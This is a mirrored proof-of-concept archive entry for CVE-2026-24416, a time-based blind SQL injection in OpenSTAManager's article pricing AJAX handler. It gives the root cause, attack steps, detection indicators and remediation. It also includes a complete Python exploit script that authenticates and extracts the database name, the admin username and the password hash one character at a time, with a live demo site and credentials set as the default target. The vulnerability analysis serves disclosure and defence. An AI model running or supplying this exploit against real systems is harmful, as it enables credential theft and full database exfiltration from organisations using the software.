PoC Archive PoC Archive
High CVE-2026-24416 patched

OpenSTAManager Article Pricing Time-Based Blind SQL Injection — CVE-2026-24416

by Łukasz Rybak (lukasz-rybak) · 2026-07-05

Severity
High
CVE
CVE-2026-24416
Category
web
Affected product
OpenSTAManager (devcode-it/openstamanager)
Affected versions
<= 2.9.8
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherŁukasz Rybak (lukasz-rybak)
CVE / AdvisoryCVE-2026-24416
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssql-injection, time-based-blind, openstamanager, php, ajax, credential-theft, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSTAManager (devcode-it/openstamanager)
Versions Affected<= 2.9.8
Language / PlatformPHP web application; PoC written in Bash (curl) and Python (requests)
Authentication RequiredYes (any valid authenticated user)
Network Access RequiredYes

Summary

OpenSTAManager’s article pricing AJAX handler (/ajax_complete.php?op=getprezzi) builds a UNION SQL query to pull pricing history from invoices and delivery notes. The developer correctly wrapped the idarticolo parameter in the framework’s prepare() sanitizer for the first SELECT of the UNION, but forgot to do so for the second SELECT, leaving that branch open to direct string concatenation into the query. An authenticated attacker can append boolean/time-based SQL conditions (e.g. SUBSTRING(DATABASE(),1,1)='o' AND SLEEP(2)) to the idarticolo value and infer arbitrary data — including the zz_users table’s usernames and bcrypt password hashes — one character at a time based on response timing. The included Python script automates this character-by-character extraction against a live target.


Vulnerability Details

Root Cause

Inconsistent use of the prepare() parameterization helper: /modules/articoli/ajax/complete.php sanitizes idarticolo in the first SELECT of a UNION query but concatenates it unsanitized in the second SELECT (around line 70), permitting SQL injection.

Attack Vector

  1. Authenticate to the OpenSTAManager instance with any valid account.
  2. Send a GET request to /ajax_complete.php?op=getprezzi with a crafted idarticolo parameter containing a boolean/time-based SQL payload (e.g. 1 AND (SELECT 1 FROM (SELECT(SLEEP(N)))a)).
  3. Measure response latency to confirm whether the injected boolean condition evaluated true.
  4. Iterate the technique with SUBSTRING()/ORD() comparisons to blind-extract the database name, then usernames and password hashes from zz_users.

Impact

Full database exfiltration (customer data, financial records, and admin credential hashes) by any authenticated user, with no privileged role required.


Environment / Lab Setup

Target:   OpenSTAManager <= 2.9.8 (PHP/MySQL), e.g. http://localhost:8081
Attacker: curl, Python 3 with `requests` library

Proof of Concept

PoC Script

See poc_extract_article_pricing.py in this folder.

1
python3 poc_extract_article_pricing.py http://localhost:8081

The script logs in with configured credentials, then repeatedly issues timing-based injected requests to /ajax_complete.php to blind-extract the database name, the admin username, and the admin password hash character by character, printing a final report.


Detection & Indicators of Compromise

GET /ajax_complete.php?op=getprezzi&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(...)))a) ... response time >> baseline

Signs of compromise:

  • Bursts of ajax_complete.php requests with abnormally long response times from a single authenticated session.
  • SQL keywords (SLEEP, SUBSTRING, ORD, zz_users) present in URL-decoded request parameters in web server logs.
  • Unusual sequential single-character probing pattern across many requests from the same session/IP.

Remediation

ActionDetail
Primary fixApply prepare() to the idarticolo parameter in the second SELECT of the UNION query in /modules/articoli/ajax/complete.php (upgrade to a patched OpenSTAManager release once available).
Interim mitigationDeploy a WAF rule blocking SQL meta-characters/functions (SLEEP(, SUBSTRING(, UNION) in the idarticolo parameter; restrict access to the pricing module to trusted roles.

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-24416 on 2026-07-05.

poc_extract_article_pricing.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()